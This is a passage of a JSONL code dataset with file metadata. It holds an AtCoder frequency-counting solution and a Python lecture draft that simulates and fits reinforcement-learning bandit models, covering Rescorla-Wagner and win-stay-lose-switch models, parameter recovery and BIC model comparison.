"line_number": 32, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.loginPage.LoginPage", "line_number": 48, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 42, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.registerPage.RegisterPage", "line_number": 58, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 52, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.downloadPage.DownloadPage", "line_number": 68, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 62, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.marketPage.MarketPage", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 72, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.openShopPage.OpenShopPage", "line_number": 88, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 82, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.consumerServicePage.ConsumerServicePage", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 92, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.siteMapPage.SiteMapPage", "line_number": 108, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 102, "usage_type": "call"}]}
{"seq_id": "36229330974", "text": "import collections\nn, k = map(int,input().split())\na = list(map(int,input().split()))\n\nnum = collections.defaultdict(int)\n\nfor elem in a:\n    num[elem] += 1\n\ncount = 0\nif len(num) <= k:\n    print(count)\nelse:\n    # sort使う発想なかった(出現頻度の昇順にソート)\n    sorted_num = sorted(num.items(), key=lambda x:x[1])\n    # 減らさなければいけない種類数だけ繰り返す\n    for i in range(len(num) - k):\n        # 出現頻度の少ない数から順に，その頻度を加えていく\n\t    count += sorted_num[i][1]\n\n    print(count)\n\n", "repo_name": "ynagi2/atcoder", "sub_path": "abc081c.py", "file_name": "abc081c.py", "file_ext": "py", "file_size_in_byte": 569, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "27121106820", "text": "\"\"\"\nModeling of decision-making\n\"\"\"\n\n# =================================================================\n# Import your modules =============================================\n# =================================================================\n\nimport numpy as np\nimport scipy.optimize\nimport scipy.stats\nfrom itertools import product\nfrom tqdm.autonotebook import tqdm\n\nfrom utils.decorator import use_pickle\nimport stats.stats as stats\nimport plot.plot as plot\n\n# =================================================================\n# Globals =========================================================\n# =================================================================\n\nEPS = np.finfo(np.float).eps\n\n# ======================================================================\n# Design your task =====================================================\n# ======================================================================\n\nN = 2\nP = np.array([0.5, 0.75])\nT = 500\n\nN_SUBJECTS = 30\n\n\n# ======================================================================\n# Design the models  ===================================================\n# ======================================================================\n\nclass Random:\n    \"\"\"\n    Random selection\n    \"\"\"\n\n    param_labels = ()\n    fit_bounds = ()\n\n    def __init__(self):\n        self.options = np.arange(N)\n\n    def choose(self):\n        p = self.decision_rule()\n        return np.random.choice(self.options, p=p)\n\n    def learn(self, option, success):\n        self.updating_rule(option=option, success=success)\n\n    def decision_rule(self):\n        return np.ones(N) / N\n\n    def updating_rule(self, option, success):\n        pass\n\n\nclass WSLS(Random):\n    \"\"\"\n    Win-Stay-Lose-Switch\n    \"\"\"\n\n    param_labels = (\"epsilon\",)\n    fit_bounds = (0., 1),\n\n    def __init__(self, epsilon):\n        super().__init__()\n        self.epsilon = epsilon\n\n        self.c = -1\n        self.r = -1\n\n    def decision_rule(self):\n\n        if self.c == -1:\n            return np.ones(N) / N  # First turn\n\n        p = np.zeros(N)\n\n        # 1 - epsilon: select the same\n        # epsilon: choose randomly\n        # ...so p apply rule\n        p_apply_rule = 1 - self.epsilon\n        p_random = self.epsilon / N\n        if self.r:\n            p[self.options != self.c] = p_random\n            p[self.c] = 1 - np.sum(p)  # p_apply_rule + p_random\n        else:\n            p[self.options != self.c] = p_apply_rule / (N - 1) + p_random\n            p[self.c] = 1 - np.sum(p)  # p_random\n\n        assert np.sum(p) == 1, \\\n            f\"c: {self.c}; r{self.r}: epsilon:{self.epsilon}; p:{p}; sum p {np.sum(p)}\"\n\n        return p\n\n    def updating_rule(self, option, success):\n        self.r = success\n        self.c = option\n\n\nclass RW(Random):\n    \"\"\"\n    Rescola-Wagner\n    \"\"\"\n\n    param_labels = (r\"$\\alpha$\", r\"$\\beta$\")\n    fit_bounds = (0.0, 1.0), (1.0, 20.0),\n\n    def __init__(self, q_alpha, q_beta, initial_value=0.5):\n        super().__init__()\n        self.q_values = np.full(N, initial_value)\n        self.q_alpha = q_alpha\n        self.q_beta = q_beta\n\n    def decision_rule(self):\n        p_soft = np.exp(self.q_beta * self.q_values) / \\\n                 np.sum(np.exp(self.q_beta * self.q_values))\n        return p_soft\n\n    def updating_rule(self, option, success):\n        self.q_values[option] += \\\n            self.q_alpha * (success - self.q_values[option])\n\n\nclass RWCK(RW):\n\n    \"\"\"\n    Rescola-Wagner-Choice-Kernel\n    \"\"\"\n\n    param_labels = (\"alpha_q\", \"beta_q\", \"alpha_c\", \"beta_c\")\n    fit_bounds = (0.0, 1), (1.0, 20.0), (0.0, 1), (1.0, 20.0)\n\n    def __init__(self,  q_alpha, q_beta, c_alpha, c_beta):\n\n        super().__init__(q_alpha=q_alpha, q_beta=q_beta)\n        self.c_alpha = c_alpha\n        self.c_beta = c_beta\n        self.c_values = np.zeros(N)\n\n    def decision_rule(self):\n\n        p_soft = np.exp(\n            (self.q_beta * self.q_values) +\n            (self.c_beta * self.c_values)\n        ) / \\\n             np.sum(np.exp(\n                 (self.q_beta * self.q_values) +\n                 (self.c_beta * self.c_values)\n             ))\n        return p_soft\n\n    def updating_rule(self, option, success):\n\n        a = np.zeros(N, dtype=int)\n        a[option] = 1\n\n        self.c_values[:] += \\\n            self.c_alpha * (a - self.c_values[:])\n\n        super().updating_rule(option=option, success=success)\n\n\n# =================================================================\n# Define your model space =========================================\n# =================================================================\n\nMODELS = Random, WSLS, RW, RWCK\nMODEL_NAMES = [m.__name__ for m in MODELS]\n\n# =================================================================\n# Study the effect of your parameters =============================\n# =================================================================\n\n\ndef rw_alpha_effect(param_values, n_iteration=100):\n\n    n_param_values = len(param_values)\n\n    values = np.zeros((n_iteration, n_param_values))\n\n    for i in range(n_param_values):\n        agent = RW(\n            q_alpha=param_values[i],\n            q_beta=None)\n        for t in range(n_iteration):\n\n            values[t, i] = agent.q_values[0]\n            agent.learn(option=0, success=1)\n\n    return values\n\n\n# Get data\nPARAM_VALUES = (0.01, 0.1, 0.2, 0.3)\nY_VALUES = rw_alpha_effect(PARAM_VALUES)\n\n# Plot\nplot.rw_alpha(param_values=PARAM_VALUES, y_values=Y_VALUES)\n\n\ndef rw_beta_effect(param_values,\n                   min_reward=0,\n                   max_reward=1):\n\n    max_diff = max_reward - min_reward\n    x_values = np.linspace(-max_diff, max_diff, 100)\n\n    n_x_values = len(x_values)\n    n_param_values = len(param_values)\n\n    y_values = np.zeros((len(x_values), n_param_values))\n\n    for i in range(n_param_values):\n        for j in range(n_x_values):\n            x = x_values[j]\n            beta = param_values[i]\n            y_values[j, i] = 1 / (1 + np.exp(-beta*x))\n\n    return x_values, y_values\n\n\n# Get data\nPARAM_VALUES = (1.0, 5.0, 10.0, 20.0)\nX_VALUES, Y_VALUES = rw_beta_effect(PARAM_VALUES)\n\n# Plot\nplot.rw_beta(param_values=PARAM_VALUES,\n             x_values=X_VALUES, y_values=Y_VALUES)\n\n\n# =================================================================\n# Single agent simulation =========================================\n# =================================================================\n\n@use_pickle\ndef run_simulation(seed, agent_model, param=()):\n\n    # Seed the pseudo-random number generator\n    np.random.seed(seed)\n\n    # Create the agent\n    agent = agent_model(*param)\n\n    # Data containers\n    choices = np.zeros(T, dtype=int)\n    successes = np.zeros(T, dtype=bool)\n\n    # Simulate the task\n    for t in range(T):\n\n        # Determine choice\n        choice = agent.choose()\n\n        # Determine success\n        p_success = P[choice]\n        success = np.random.choice(\n            [0, 1],\n            p=np.array([1 - p_success, p_success]))\n\n        # Make agent learn\n        agent.learn(option=choice, success=success)\n\n        # Backup\n        choices[t] = choice\n        successes[t] = success\n\n    return choices, successes\n\n\n# We will experiment with Rescola-Wagner\nMODEL_XP = RW\n\n# Get data ----------------------------------------------------\nSEED_SINGLE = 0\nPARAM_SINGLE = np.array([0.10, 10.00])\nCHOICES_SINGLE, SUCCESSES_SINGLE = \\\n    run_simulation(agent_model=RW, param=PARAM_SINGLE, seed=SEED_SINGLE)\n\n# Plot --------------------------------------------------------\n# Begin by the more basic possible\nplot.behavior_single_basic(choices=CHOICES_SINGLE,\n                           successes=SUCCESSES_SINGLE)\n\n# ...then maybe you can do better\nplot.behavior_single_average(choices=CHOICES_SINGLE,\n                             successes=SUCCESSES_SINGLE)\n\n\n# =======================================================================\n# Latent variable =======================================================\n# =======================================================================\n\ndef latent_variables_rw(choices, successes, param):\n\n    \"\"\"\n    Specific to RW\n    \"\"\"\n\n    # Create the agent\n    agent = RW(*param)\n\n    # Data containers\n    q_values = np.zeros((T, N))\n    p_choices = np.zeros((T, N))\n\n    # (Re-)Simulate the task\n    for t in range(T):\n\n        # Register values\n        q_values[t] = agent.q_values\n\n        # Register probabilities of choices\n        p_choices[t] = agent.decision_rule()\n\n        # Make agent learn\n        agent.learn(option=choices[t],\n                    success=successes[t])\n\n    return q_values, p_choices\n\n\n# Get the data\nQ_VALUES_SINGLE, P_CHOICES_SINGLE = \\\n    latent_variables_rw(choices=CHOICES_SINGLE,\n                        successes=SUCCESSES_SINGLE,\n                        param=PARAM_SINGLE)\n\n# Plot\nplot.latent_variables_rw_and_behavior_single(q_values=Q_VALUES_SINGLE,\n                                             p_choices=P_CHOICES_SINGLE,\n                                             choices=CHOICES_SINGLE,\n                                             successes=SUCCESSES_SINGLE)\n\n\n# ========================================================================\n# Population simulation\n# ========================================================================\n\n@use_pickle\ndef run_sim_pop(model, param, n_subjects):\n\n    print(f\"Running simulation for {n_subjects} agents...\")\n\n    # Data containers\n    choices = np.zeros((n_subjects, T), dtype=int)\n    successes = np.zeros((n_subjects, T), dtype=bool)\n\n    for i in tqdm(range(n_subjects)):\n\n        # Get choices and successes\n        c, s = run_simulation(seed=i,\n                              agent_model=model,\n                              param=param[i])\n\n        # Backup\n        choices[i] = c\n        successes[i] = s\n\n    return choices, successes\n\n\n@use_pickle\ndef latent_variables_rw_pop(choices, successes, param):\n\n    \"\"\"\n    Specific to RW\n    \"\"\"\n\n    n_subjects = len(choices)\n\n    # Data containers\n    q_values = np.zeros((n_subjects, T, N))\n    p_choices = np.zeros((n_subjects, T, N))\n\n    for i in range(n_subjects):\n\n        # Get q-values and choice probabilities\n        qv, pc = latent_variables_rw(choices=choices[i],\n                                     successes=successes[i],\n                                     param=param[i])\n\n        # Backup\n        q_values[i] = qv\n        p_choices[i] = pc\n\n    return q_values, p_choices\n\n\n# Get the data\nPARAM_HOM_POP = [PARAM_SINGLE for _ in range(N_SUBJECTS)]\n\nCHOICES_HOM_POP, SUCCESSES_HOM_POP = \\\n    run_sim_pop(model=RW, param=PARAM_HOM_POP, n_subjects=N_SUBJECTS)\n\nQ_VALUES_HOM_POP, P_CHOICES_HOM_POP = \\\n    latent_variables_rw_pop(choices=CHOICES_HOM_POP,\n                            successes=SUCCESSES_HOM_POP,\n                            param=PARAM_HOM_POP)\n\n# Plot\nplot.latent_variables_rw_and_behavior_pop(\n    q_values=Q_VALUES_HOM_POP, p_choices=P_CHOICES_HOM_POP,\n    choices=CHOICES_HOM_POP, successes=SUCCESSES_HOM_POP)\n\n\n# ========================================================================\n# Parameter optimization\n# ========================================================================\n\n\ndef log_likelihood(model, param, choices, successes):\n\n    # Create the agent\n    agent = model(*param)\n\n    # Data container\n    ll = np.zeros(T)\n\n    # Simulate the task\n    for t in range(T):\n\n        # Get choice and success for t\n        c, s = choices[t], successes[t]\n\n        # Look at probability of choice\n        p_choice = agent.decision_rule()\n        p = p_choice[c]\n\n        # Compute log\n        ll[t] = np.log(p + EPS)\n\n        # Make agent learn\n        agent.learn(option=c, success=s)\n\n    return np.sum(ll)\n\n\nclass BanditOptimizer:\n\n    \"\"\"\n    Given a series of choices and successes, and a DM model,\n    estimate the best-fit param\n    \"\"\"\n\n    def __init__(self, choices, successes, model):\n\n        self.choices = choices\n        self.successes = successes\n        self.model = model\n\n        assert hasattr(model, 'fit_bounds'), \\\n            f\"{model.__name__} has not 'fit_bounds' attribute\"\n\n        self.t = 0\n\n    def objective(self, param):\n        return - log_likelihood(model=self.model,\n                                choices=self.choices,\n                                successes=self.successes,\n                                param=param)\n\n    def run(self):\n\n        if self.model.fit_bounds:\n            res = scipy.optimize.minimize(\n                fun=self.objective,\n                x0=np.array([(b[1] - b[0])/2 for b in self.model.fit_bounds]),\n                bounds=self.model.fit_bounds)\n            assert res.success, f\"{self.model.__name__}: {res.message}\"\n\n            best_param = res.x\n            best_value = res.fun\n\n        else:\n            assert self.model == Random\n            best_param = ()\n            best_value = self.objective(())\n\n        return best_param, best_value\n\n\n# ==========================================================================\n# Simulation with best-fit parameters\n# ==========================================================================\n\n\n@use_pickle\ndef get_best_param():\n\n    # Create optimizer\n    opt = BanditOptimizer(\n        choices=CHOICES_SINGLE,\n        successes=SUCCESSES_SINGLE,\n        model=RW\n    )\n\n    # Run the optimization\n    best_param, best_value = opt.run()\n    return best_param\n\n\n# Get the best-fit parameters\nBEST_PARAM_SINGLE = get_best_param()\nprint(f\"'True' parameters: {tuple(PARAM_SINGLE)}\")\nprint(f\"Best-fit parameters: {tuple(BEST_PARAM_SINGLE)}\\n\")\n\n\n# New simulation with best-fit parameters\nCHOICES_SINGLE_BF, SUCCESSES_FIST_BF = \\\n    run_simulation(seed=SEED_SINGLE + 1, agent_model=RW,\n                   param=BEST_PARAM_SINGLE)\n\n# Get the values of the latent variables\nQ_VALUES_SINGLE_BF, P_CHOICES_SINGLE_BF = \\\n    latent_variables_rw(choices=CHOICES_SINGLE_BF,\n                        successes=SUCCESSES_FIST_BF,\n                        param=BEST_PARAM_SINGLE)\n\n# Plot\nplot.comparison_best_fit_rw_single(\n    q_values=Q_VALUES_SINGLE, p_choices=P_CHOICES_SINGLE,\n    choices=CHOICES_SINGLE, successes=SUCCESSES_SINGLE,\n    choices_bf=CHOICES_SINGLE_BF, successes_bf=SUCCESSES_FIST_BF,\n    q_values_bf=Q_VALUES_SINGLE_BF, p_choices_bf=P_CHOICES_SINGLE_BF)\n\n\n# =========================================================================\n# Parameter space exploration =============================================\n# =========================================================================\n\n@use_pickle\ndef parameter_space_exploration(model, choices, successes, grid_size=20):\n\n    \"\"\"\n    Compute likelihood for several combinations of parameters\n    (using grid exploration)\n    \"\"\"\n\n    print(\"Computing data for parameter space exploration...\")\n\n    assert len(model.param_labels) == 2, \\\n        \"this function is designed for models that have \" \\\n        \"at least and at most 2 parameters\"\n    assert hasattr(model, 'fit_bounds'), \\\n        f\"{model.__name__} has not 'fit_bounds' attribute\"\n\n    n_param = len(model.fit_bounds)\n\n    parameter_values = np.atleast_2d([\n                np.linspace(\n                    *model.fit_bounds[i],\n                    grid_size) for i in range(n_param)\n    ])\n\n    # Create a grid for each parameter\n    param_grid = np.asarray(list(\n            product(*parameter_values)\n        ))\n\n    n_sets = len(param_grid)\n\n    # Container for log-likelihood\n    ll = np.zeros(n_sets)\n\n    # Loop over each value of the parameter grid for both parameters\n    for i in tqdm(range(n_sets)):\n\n        # Select the parameter to use\n        param_to_use = param_grid[i]\n\n        # Call the objective function of the optimizer\n        ll[i] = log_likelihood(\n            choices=choices,\n            successes=successes,\n            model=model,\n            param=param_to_use)\n\n    return parameter_values, ll\n\n\n# Get data\nPARAM_VALUES, LL = parameter_space_exploration(\n    model=RW,\n    choices=CHOICES_SINGLE,\n    successes=SUCCESSES_SINGLE)\n\n# First plot\n\nplot.parameter_space_exploration(\n    data=LL,\n    param_names=RW.param_labels,\n    true_params=PARAM_SINGLE,\n    parameter_values=PARAM_VALUES,\n)\n\n# Second plot\nplot.parameter_space_exploration_2d(\n    data=LL,\n    parameter_values=PARAM_VALUES,\n    param_names=RW.param_labels,\n    true_params=PARAM_SINGLE,\n    title='Parameter space exploration')\n\n# ==========================================================================\n# SIMULATION HOMOGENEOUS POPULATION ========================================\n# ==========================================================================\n\n# Define as parameter the best-fit parameter for the single agent\nPARAM_HOM_POP_BF = [BEST_PARAM_SINGLE for _ in range(N_SUBJECTS)]\n\n# Get behavior for best-fit\nCHOICES_HOM_POP_BF, SUCCESSES_HOM_POP_BF = \\\n    run_sim_pop(model=RW, param=PARAM_HOM_POP_BF, n_subjects=N_SUBJECTS)\n\n# Get latent variables values\nQ_VALUES_HOM_POP_BF, P_CHOICES_HOM_POP_BF = \\\n    latent_variables_rw_pop(choices=CHOICES_HOM_POP_BF,\n                            successes=SUCCESSES_HOM_POP_BF,\n                            param=PARAM_HOM_POP_BF)\n\n# Plot\nplot.comparison_best_fit_rw_pop(\n    choices=CHOICES_HOM_POP, choices_bf=CHOICES_HOM_POP_BF,\n    successes=SUCCESSES_HOM_POP, successes_bf=SUCCESSES_HOM_POP_BF,\n    q_values=Q_VALUES_HOM_POP, q_values_bf=Q_VALUES_HOM_POP_BF,\n    p_choices=P_CHOICES_HOM_POP, p_choices_bf=P_CHOICES_HOM_POP_BF\n)\n\n\n# ==========================================================================\n# PARAMETER RECOVERY =======================================================\n# ==========================================================================\n\n@use_pickle\ndef data_param_recovery(model, n_sets, seed):\n\n    print(\"Computing data for parameter recovery...\")\n\n    # Seed the random number generator\n    np.random.seed(seed)\n\n    # Get the parameters labels\n    param_labels = model.param_labels\n    n_param = len(param_labels)\n\n    # Data container (2: simulated, retrieved)\n    param = np.zeros((n_param, 2, n_sets))\n\n    # Loop over the number of parameter sets\n    for set_idx in tqdm(range(n_sets)):\n\n        # Select parameter to simulate...\n        param_to_sim = \\\n            [np.random.uniform(*b)\n             for b in model.fit_bounds]\n\n        # Simulate\n        choices, successes = run_simulation(seed=set_idx,\n                                            agent_model=model,\n                                            param=param_to_sim)\n\n        # Create the optimizer and run it\n        opt = BanditOptimizer(choices=choices,\n                              successes=successes,\n                              model=model)\n        best_param, best_value = opt.run()\n\n        # Backup\n        for i in range(n_param):\n            param[i, 0, set_idx] = param_to_sim[i]\n            param[i, 1, set_idx] = best_param[i]\n\n    return param\n\n\n# Get data\nP_RCV = data_param_recovery(model=RW, n_sets=30, seed=234)\n\n# Plot\nplot.parameter_recovery(data=P_RCV,\n                        param_names=RW.param_labels,\n                        param_bounds=RW.fit_bounds)\n\n# Stats\nstats.correlation_recovery(data=P_RCV, param_names=RW.param_labels)\n\n\n# ===========================================================================\n# Model comparison\n# ===========================================================================\n\ndef bic(ll, k, n_iteration):\n    return -2 * ll + k * np.log(n_iteration)\n\n\ndef optimize_and_compare_single(choices, successes):\n\n    n_models = len(MODELS)\n    bic_scores = np.zeros(n_models)\n    lls = np.zeros(n_models)\n    best_params = []\n\n    for j in range(n_models):\n\n        # Select the model\n        model_to_fit = MODELS[j]\n\n        # Create the optimizer and run it\n        opt = BanditOptimizer(choices=choices,\n                              successes=successes,\n                              model=model_to_fit)\n        best_param, best_value = opt.run()\n\n        # Get log-likelihood for best param\n        ll = -best_value\n\n        # Compute the bit score\n        bs = bic(ll, k=len(model_to_fit.fit_bounds), n_iteration=T)\n\n        # Backup\n        bic_scores[j] = bs\n        lls[j] = ll\n        best_params.append(best_param)\n\n    return best_params, lls, bic_scores\n\n\n@use_pickle\ndef comparison_single_subject():\n\n    best_params, lls, bic_scores = \\\n        optimize_and_compare_single(\n            choices=CHOICES_SINGLE, successes=SUCCESSES_SINGLE)\n\n    print(f\"Model used: {MODEL_XP.__name__}\")\n    print(\"-\" * 10)\n\n    for i in range(len(MODELS)):\n        print(f\"BIC {MODELS[i].__name__} = {bic_scores[i]:.3f}\")\n\n    print()\n\n\n# Compute bic scores for evey model for our initial set of data\ncomparison_single_subject()\n\n\n# ============================================================================\n# Confusion matrix ===========================================================\n# ============================================================================\n\n@use_pickle\ndef data_confusion_matrix(models, n_sets):\n    print(\"Computing data for confusion matrix...\")\n\n    # Number of models\n    n_models = len(models)\n\n    # Data container\n    confusion_matrix = np.zeros((n_models, n_models))\n\n    # Loop over each model\n    with tqdm(total=n_models * n_sets) as pbar:\n        for i in range(n_models):\n\n            # Select the model\n            model_to_sim = models[i]\n\n            for j in range(n_sets):\n                # Select parameters to simulate\n                param_to_sim = \\\n                    [np.random.uniform(*b)\n                     for b in model_to_sim.fit_bounds]\n\n                # Simulate\n                choices, successes = \\\n                    run_simulation(\n                        seed=j,\n                        agent_model=model_to_sim,\n                        param=param_to_sim)\n\n                # Compute bic scores\n                best_params, lls, bic_scores = \\\n                    optimize_and_compare_single(choices=choices,\n                                                successes=successes)\n\n                # Get minimum value for bic (min => best)\n                min_ = np.min(bic_scores)\n\n                # Get index of models that get best bic\n                idx_min = np.arange(n_models)[bic_scores == min_]\n\n                # Add result in matrix\n                confusion_matrix[i, idx_min] += 1 / len(idx_min)\n\n                # Update progress bar\n                pbar.update(1)\n\n    return confusion_matrix\n\n\n# Data\nN_SETS_CONF = 100\nSEED_CONF = 123\nnp.random.seed(SEED_CONF)\nCONF_MT = data_confusion_matrix(models=MODELS, n_sets=N_SETS_CONF)\n\n# Plot\nplot.confusion_matrix(data=CONF_MT, tick_labels=MODEL_NAMES)\n\n# Stats\nstats.classification(CONF_MT, model_names=MODEL_NAMES)\n\n\n# ======================================================================\n# Fake experiment  =====================================================\n# ======================================================================\n\n# Get data\nSEED_HET_POP = 1234\nnp.random.seed(SEED_HET_POP)\n\nRW_HET_POP_DIST_PARAM = (0.15, 0.05), (10.0, 0.5)\n\nPARAM_HET_POP = \\\n    [\n        [np.random.normal(*p) for p in RW_HET_POP_DIST_PARAM]\n        for _ in range(N_SUBJECTS)\n    ]\n\nCHOICES_HET_POP, SUCCESSES_HET_POP = \\\n    run_sim_pop(model=MODEL_XP, n_subjects=N_SUBJECTS, param=PARAM_HET_POP)\n\n# Plot behavior\nplot.behavior_pop(choices=CHOICES_HET_POP, successes=SUCCESSES_HET_POP,\n                  n_option=N)\n\n\n@use_pickle\ndef optimize_and_compare_pop(choices, successes):\n\n    n_subjects = len(choices)\n\n    # Data containers\n    best_parameters = np.zeros(n_subjects, dtype=object)\n    lls = np.zeros((n_subjects, len(MODELS)))\n    bic_scores = np.zeros((n_subjects, len(MODELS)))\n\n    # Loop over subjects\n    for i in tqdm(range(n_subjects)):\n\n        # Optimize and compare\n        best_parameters[i], lls[i], bic_scores[i] = \\\n            optimize_and_compare_single(choices=choices[i],\n                                        successes=successes[i])\n\n    # Freq and confidence intervals for the barplot\n    lls_freq, lls_err = stats.freq_and_err(lls)\n    bic_freq, bic_err = stats.freq_and_err(-bic_scores)\n\n    return lls, lls_freq, lls_err,\\\n        bic_scores, bic_freq, bic_err, \\\n        best_parameters\n\n\n# Get data\nLLS_HET, LLS_FREQ_HET, LLS_ERR_HET, \\\n    BIC_HET, BIC_FQ_HT, BIC_ERR_HET,\\\n    PARAM_HET_BF = \\\n    optimize_and_compare_pop(choices=CHOICES_HET_POP,\n                             successes=SUCCESSES_HET_POP)\n\n# Plot\nplot.model_comparison(\n    lls=LLS_HET,\n    lls_freq=LLS_FREQ_HET,\n    lls_err=LLS_ERR_HET,\n    bic_scores=BIC_HET,\n    bic_freq=BIC_FQ_HT,\n    bic_err=BIC_ERR_HET,\n    model_names=MODEL_NAMES\n)\n\n# Look at the best model\nBEST_MODEL_IDX = int(np.argmax(BIC_FQ_HT))\nBEST_MODEL = MODELS[BEST_MODEL_IDX]\n\n# Assume that it should be the one that you used to simulate\nassert MODEL_XP == BEST_MODEL\n\n# Retrieve parameters for best model\nPARAM_HET_BF_BEST_MODEL = np.asarray(\n    [\n        PARAM_HET_BF[i][BEST_MODEL_IDX]\n        for i in range(N_SUBJECTS)\n    ])\n\n# Get behavior for best-fit\nCHOICES_HET_BF, SUCCESSES_HET_BF = \\\n    run_sim_pop(model=RW, param=PARAM_HET_BF_BEST_MODEL,\n                n_subjects=N_SUBJECTS)\n\n# Get latent variables values\nQ_VALUES_HET_BF, P_CHOICES_HET_BF = \\\n    latent_variables_rw_pop(choices=CHOICES_HET_BF,\n                            successes=SUCCESSES_HET_BF,\n                            param=PARAM_HET_BF_BEST_MODEL)\n\nplot.post_hoc_sim(\n    choices=CHOICES_HET_POP,\n    successes=SUCCESSES_HET_POP,\n    choices_bf=CHOICES_HET_BF,\n    successes_bf=SUCCESSES_HET_BF,\n    q_values_bf=Q_VALUES_HET_BF,\n    p_choices_bf=P_CHOICES_HET_BF\n)\n", "repo_name": "AurelienNioche/LectureDecisionMakingModeling", "sub_path": "draft.py", "file_name": "draft.py", "file_ext": "py", "file_size_in_byte": 25552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.finfo", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 188, "usage_type": "call"}, {"api_name": "plot.plot.rw_alpha", "line_number": 207, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 207, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 226, "usage_type": "call"}, {"api_name": "plot.plot.rw_beta", "line_number": 236, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 236, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 248, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 265, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 267, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 244, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "plot.plot.behavior_single_basic", "line_number": 290, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 290, "usage_type": "name"}, {"api_name": "plot.plot.behavior_single_average", "line_number": 294, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 294, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 313, "usage_type": "call"}, {"api_name": "plot.plot.latent_variables_rw_and_behavior_single", "line_number": 338, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 338, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 355, "usage_type": "call"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 357, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 348, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 382, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 371, "usage_type": "name"}, {"api_name": "plot.plot.latent_variables_rw_and_behavior_pop", "line_number": 410, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 410, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 426, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 444, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.minimize", "line_number": 474, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 474, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 474, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 476, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 496, "usage_type": "name"}, {"api_name": "plot.plot.comparison_best_fit_rw_single", "line_number": 529, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 529, "usage_type": "name"}, {"api_name": "numpy.atleast_2d", "line_number": 558, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 559, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 565, 